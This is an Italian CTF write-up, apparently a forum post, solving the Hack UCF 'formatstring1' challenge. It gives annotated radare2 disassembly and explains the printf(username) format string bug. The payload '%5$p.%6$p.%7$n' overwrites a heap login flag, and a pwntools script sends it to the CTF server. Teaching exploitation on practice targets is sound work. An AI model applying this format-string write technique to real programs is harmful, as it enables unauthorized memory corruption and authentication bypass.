SPAGHETTI HACKER

  1. FORMAT STRING1 - bash
    log.00e

    Tags
    bugs
    By AKIRA BASHO il 21 Jan. 2023
     
    0 Comments   32 Views
    .
    rrn18u4

    file formatstring1
    formatstring1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4c408b622a0eafe253114dacbf8aafdcddf3e4eb, for GNU/Linux 3.2.0, not stripped

    checksec --file formatstring1
    [*] '/home/ytrabbz/FollowTheWhiteRabbit/Code/formatstring1'
    Arch: amd64-64-little
    RELRO: No RELRO
    Stack: Canary found
    NX: NX disabled
    PIE: No PIE (0x400000)
    RWX: Has RWX segments

    ;è un ELF 64-bit no stripped; Stack: Canary found;

    ;gli Stack Canaries sono valori segreti posti nello stack che cambiano ogni volta che il programma viene avviato. Prima del ritorno di una funzione, lo stack canary viene controllato e se è stato modificato, il programma esce immediatamente.

    [0x004012c6]> pdf
    int main (int argc, char **argv, char **envp);
    var FILE *stream @ rbp-0x8

    ;rbp-0x8; 8 byte, 64 bit, perchè è un indirizzo di memoria, l'indirizzo tornato dalla calloc.

    0x004012c6 endbr64

    ;Terminate an indirect branch in 64 bit and compatibility mode.

    0x004012ca push rbp
    0x004012cb mov rbp, rsp
    0x004012ce sub rsp, 0x10
    0x004012d2 mov esi, 0x2c ;',' ; 44 ; size_t size
    0x004012d7 mov edi, 1 ;size_t nmeb
    0x004012dc call sym.imp.calloc ;void *calloc(size_t nmeb, size_t size)

    ;void *calloc(size_t nmeb, size_t size); 1 elemento da 44 bytes, un array di 44 char
    ;The difference in malloc and calloc is that malloc does not set the memory to zero where as calloc sets allocated memory to zero.
    ;array di 44 null char '\0'

    0x004012e1 mov qword [stream], rax

    ;[stream] abbiamo una zona di memoria che contiene 44 caratteri null '\0'

    0x004012e5 mov rax, qword [stream]
    0x004012e9 mov rsi, rax
    0x004012ec lea rdi, str.user___p_n ;0x40200f ; "user = %p\n" ; const char *format
    0x004012f3 mov eax, 0
    0x004012f8 call sym.imp.printf ;int printf(const char *format)

    ;printf("user = %p\n", indirizzo di stream)

    0x004012fd lea rdi, str.Enter_your_username: ; 0x40201a ;"Enter your username:" ;const char *s
    0x00401304 call sym.imp.puts ;int puts(const char *s)

    ;Enter your username

    0x00401309 mov rax, qword [obj.stdin] ;obj.__TMC_END__
    0x00401310 mov rdx, qword [stream]
    0x00401314 lea rcx, [rdx + 4]

    ;rdx+4, è 4 bytes dopo il primo indirizzo di [stream] = ['\0','\0','\0','\0', qui]

    0x00401318 mov rdx, rax ;FILE *stream
    0x0040131b mov esi, 0x14 ;20 ; int size
    0x00401320 mov rdi, rcx ;char *s
    0x00401323 call sym.imp.fgets ;char *fgets(char *s, int size, FILE *stream)

    ;fgets di 20 char per lo username

    0x00401328 lea rdi, str.Enter_password_for_user:_ ;0x40202f ;"Enter password for user: " ;const char *format
    0x0040132f mov eax, 0
    0x00401334 call sym.imp.printf ;int printf(const char *format)

    ;stampa Enter password for user: username;

    0x00401339 mov rax, qword [stream]
    0x0040133d add rax, 4
    0x00401341 mov rdi, rax ;const char *format
    0x00401344 mov eax, 0
    0x00401349 call sym.imp.printf ;int printf(const char *format)

    ;qui c'è il problema del format string; perchè viene chiamato printf(username); e quindi gli diciamo di andare a scrivere nei primi 4 byte della memoria dello stream che ha tutti i byte null

    ;%5$p.%6$p.%7$p inserendo come username questa stringa, possiamo vedere che il settimo parametro nello stack è proprio l'indirizzo della memoria allocata con la calloc, che viene stampato dall'eseguibile all'inizio; utilizzeremo la format string %7$n per andare a scrivere nei byte iniziali di quell'array di char allocato nell'heap

    0x0040134e mov rax, qword [obj.stdin] ;obj.__TMC_END__
    0x00401355 mov rdx, qword [stream]
    0x00401359 lea rcx, [rdx + 0x18]
    0x0040135d mov rdx, rax ;FILE *stream
    0x00401360 mov esi, 0x14 ;20 ; int size
    0x00401368 call sym.imp.fgets ;char *fgets(char *s, int size, FILE *stream)

    ;altra fgets di 20 char, ma questa volta 24 caratteri dopo; siamo nell'heap e andiamo a scrivere 24 byte dopo i primi 20 byte inseriti per lo username;

    0x0040136d mov rax, qword [stream]
    0x00401371 mov eax, dword [rax]
    0x00401373 test eax, eax

    ;c'è un controllo sui primi 4 byte della memoria allocata nell'heap; controlla se i byte ancora sono a null con il test eax eax, su tutti e 32 i bit; dobbiamo come già detto sovrascrive i primi 4 caratteri dell'array [stream]; e lo facciamo exploitando il format string;

    0x00401375 je 0x40138a

    ;qui salta se eax è zero, se non è zero chiama la funzione giveFlag che ci stamperà la flag della ctf; eax è zero solo se non siamo riusciti a scrivere in quell'indirizzo di memoria;

    0x00401377 lea rdi, str.Successfully_logged_in_ ;0x402049 ; "Successfully logged in!" ; const char *s
    0x0040137e call sym.imp.puts ;int puts(const char *s)
    0x00401383 call sym.giveFlag

    0x00401388 jmp 0x401396
    0x0040138a lea rdi, str.Invalid_login_information. ;0x402061 ;"Invalid login information." ;const char *s
    0x00401391 call sym.imp.puts ;int puts(const char *s)

    ;qui arriva in caso non siamo riusciti a scrivere nei primi 4 byte nella memoria allocata nell'heap con la calloc;

    0x00401396 mov rax, qword [stream]
    0x0040139a mov rdi, rax ;void *ptr
    0x0040139d call sym.imp.free ;void free(void *ptr)
    0x004013a2 mov eax, 0
    0x004013a7 leave
    0x004013a8 ret

    from pwn import *

    target = remote('ctf.hackucf.org',XXXX)
    resp=target.recvline()
    print(resp)
    target.recvuntil("Enter your username:")
    payload = b""
    payload += b"%5$p.%6$p.%7$n\n"
    target.send(payload)
    resp=target.recvline()
    print(resp)
    resp=target.send(b"AAAA\n")
    resp=target.recvline()
    print(resp)
    resp=target.recvline()
    print(resp)
    resp=target.recvline()
    print(resp)

    python3 formastring1.py
    [+] Opening connection to ctf.hackucf.org on port XXXX: Done
    b'user = 0x21b0010\n'
    formatstring1.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    target.recvuntil("Enter your username:")
    b'\n'
    b'Enter password for user: 0x19.0x7ffd3888e2d0.\n'
    b'Successfully logged in!\n'
    b'flag{XXX_XXXX_XXXXXX_XXXX_XXXXX_XX}\n'

    ;abbiamo utilizzato la libreria pwntools di python3 per scrivere l'exploit

    Edited by Dr. Pepper - 8/12/2023, 22:24
      Share  
     
    .